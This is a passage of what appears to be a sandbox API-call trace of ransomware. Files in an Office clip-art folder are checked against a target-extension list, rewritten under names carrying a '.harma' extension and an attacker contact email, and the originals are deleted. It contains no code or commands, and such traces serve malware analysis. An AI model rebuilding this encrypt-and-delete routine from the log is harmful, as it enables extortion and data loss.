[0142.339] lstrlenW (lpString=".1cd") returned 4 [0142.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.339] lstrlenW (lpString=".jpg") returned 4 [0142.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.339] lstrlenW (lpString=".doc") returned 4 [0142.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.339] lstrlenW (lpString=".docx") returned 5 [0142.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.339] lstrlenW (lpString=".pdf") returned 4 [0142.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.339] lstrlenW (lpString=".xls") returned 4 [0142.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.339] lstrlenW (lpString=".xlsx") returned 5 [0142.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.339] lstrlenW (lpString=".ppt") returned 4 [0142.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.339] lstrlenW (lpString=".zip") returned 4 [0142.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.339] lstrlenW (lpString=".rar") returned 4 [0142.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.340] lstrlenW (lpString=".bz2") returned 4 [0142.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.340] lstrlenW (lpString=".7z") returned 3 [0142.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.340] lstrlenW (lpString=".dbf") returned 4 [0142.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.340] lstrlenW (lpString=".1cd") returned 4 [0142.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.340] lstrlenW (lpString=".jpg") returned 4 [0142.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.340] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.340] lstrlenW (lpString="AN04384_.WMF") returned 12 [0142.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.343] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4996) returned 1 [0142.343] CloseHandle (hObject=0x368) returned 1 [0142.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0142.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.343] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.343] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.344] GetLastError () returned 0x0 [0142.344] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1384, lpOverlapped=0x0) returned 1 [0142.346] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0142.347] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.347] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.347] SetEndOfFile (hFile=0x210) returned 1 [0142.347] CloseHandle (hObject=0x210) returned 1 [0142.347] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.347] SetEndOfFile (hFile=0x368) returned 1 [0142.350] CloseHandle (hObject=0x368) returned 1 [0142.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0142.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.351] lstrlenW (lpString=".doc") returned 4 [0142.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString=".docx") returned 5 [0142.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.351] lstrlenW (lpString=".pdf") returned 4 [0142.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString=".xls") returned 4 [0142.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.351] lstrlenW (lpString=".xlsx") returned 5 [0142.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.351] lstrlenW (lpString=".ppt") returned 4 [0142.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.351] lstrlenW (lpString=".zip") returned 4 [0142.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.351] lstrlenW (lpString=".rar") returned 4 [0142.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString=".bz2") returned 4 [0142.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString=".7z") returned 3 [0142.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.351] lstrlenW (lpString=".dbf") returned 4 [0142.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.351] lstrlenW (lpString=".1cd") returned 4 [0142.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.351] lstrlenW (lpString=".jpg") returned 4 [0142.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.352] lstrlenW (lpString=".doc") returned 4 [0142.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString=".docx") returned 5 [0142.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.352] lstrlenW (lpString=".pdf") returned 4 [0142.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString=".xls") returned 4 [0142.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.352] lstrlenW (lpString=".xlsx") returned 5 [0142.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.352] lstrlenW (lpString=".ppt") returned 4 [0142.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.352] lstrlenW (lpString=".zip") returned 4 [0142.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.352] lstrlenW (lpString=".rar") returned 4 [0142.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString=".bz2") returned 4 [0142.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString=".7z") returned 3 [0142.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.352] lstrlenW (lpString=".dbf") returned 4 [0142.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.352] lstrlenW (lpString=".1cd") returned 4 [0142.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0142.352] lstrlenW (lpString=".jpg") returned 4 [0142.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.353] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.353] lstrlenW (lpString="AN04385_.WMF") returned 12 [0142.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.353] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5004) returned 1 [0142.353] CloseHandle (hObject=0x368) returned 1 [0142.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0142.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.354] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.354] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.354] GetLastError () returned 0x0 [0142.354] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x138c, lpOverlapped=0x0) returned 1 [0142.446] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0142.447] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.447] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.447] SetEndOfFile (hFile=0x210) returned 1 [0142.447] CloseHandle (hObject=0x210) returned 1 [0142.448] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.448] SetEndOfFile (hFile=0x368) returned 1 [0142.450] CloseHandle (hObject=0x368) returned 1 [0142.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0142.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.478] lstrlenW (lpString=".doc") returned 4 [0142.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.478] lstrlenW (lpString=".docx") returned 5 [0142.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.478] lstrlenW (lpString=".pdf") returned 4 [0142.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.478] lstrlenW (lpString=".xls") returned 4 [0142.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.478] lstrlenW (lpString=".xlsx") returned 5 [0142.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.478] lstrlenW (lpString=".ppt") returned 4 [0142.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.478] lstrlenW (lpString=".zip") returned 4 [0142.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.478] lstrlenW (lpString=".rar") returned 4 [0142.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.478] lstrlenW (lpString=".bz2") returned 4 [0142.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString=".7z") returned 3 [0142.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.479] lstrlenW (lpString=".dbf") returned 4 [0142.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.479] lstrlenW (lpString=".1cd") returned 4 [0142.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.479] lstrlenW (lpString=".jpg") returned 4 [0142.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.479] lstrlenW (lpString=".doc") returned 4 [0142.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString=".docx") returned 5 [0142.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.479] lstrlenW (lpString=".pdf") returned 4 [0142.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString=".xls") returned 4 [0142.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.479] lstrlenW (lpString=".xlsx") returned 5 [0142.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.479] lstrlenW (lpString=".ppt") returned 4 [0142.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.479] lstrlenW (lpString=".zip") returned 4 [0142.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.479] lstrlenW (lpString=".rar") returned 4 [0142.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.480] lstrlenW (lpString=".bz2") returned 4 [0142.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.480] lstrlenW (lpString=".7z") returned 3 [0142.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.480] lstrlenW (lpString=".dbf") returned 4 [0142.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.480] lstrlenW (lpString=".1cd") returned 4 [0142.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0142.480] lstrlenW (lpString=".jpg") returned 4 [0142.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.480] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.480] lstrlenW (lpString="BD00141_.WMF") returned 12 [0142.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.433] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=26886) returned 1 [0143.433] CloseHandle (hObject=0x358) returned 1 [0143.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0143.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.083] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.083] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.119] GetLastError () returned 0x0 [0144.119] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x6906, lpOverlapped=0x0) returned 1 [0144.121] WriteFile (in: hFile=0x354, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0144.127] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.127] WriteFile (in: hFile=0x354, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.127] SetEndOfFile (hFile=0x354) returned 1 [0144.127] CloseHandle (hObject=0x354) returned 1 [0144.128] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.128] SetEndOfFile (hFile=0x368) returned 1 [0144.130] CloseHandle (hObject=0x368) returned 1 [0144.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0144.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.191] lstrlenW (lpString=".doc") returned 4 [0144.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.191] lstrlenW (lpString=".docx") returned 5 [0144.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.191] lstrlenW (lpString=".pdf") returned 4 [0144.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.191] lstrlenW (lpString=".xls") returned 4 [0144.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.191] lstrlenW (lpString=".xlsx") returned 5 [0144.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.191] lstrlenW (lpString=".ppt") returned 4 [0144.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.192] lstrlenW (lpString=".zip") returned 4 [0144.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.192] lstrlenW (lpString=".rar") returned 4 [0144.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString=".bz2") returned 4 [0144.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString=".7z") returned 3 [0144.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.192] lstrlenW (lpString=".dbf") returned 4 [0144.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.192] lstrlenW (lpString=".1cd") returned 4 [0144.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.192] lstrlenW (lpString=".jpg") returned 4 [0144.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.192] lstrlenW (lpString=".doc") returned 4 [0144.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString=".docx") returned 5 [0144.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 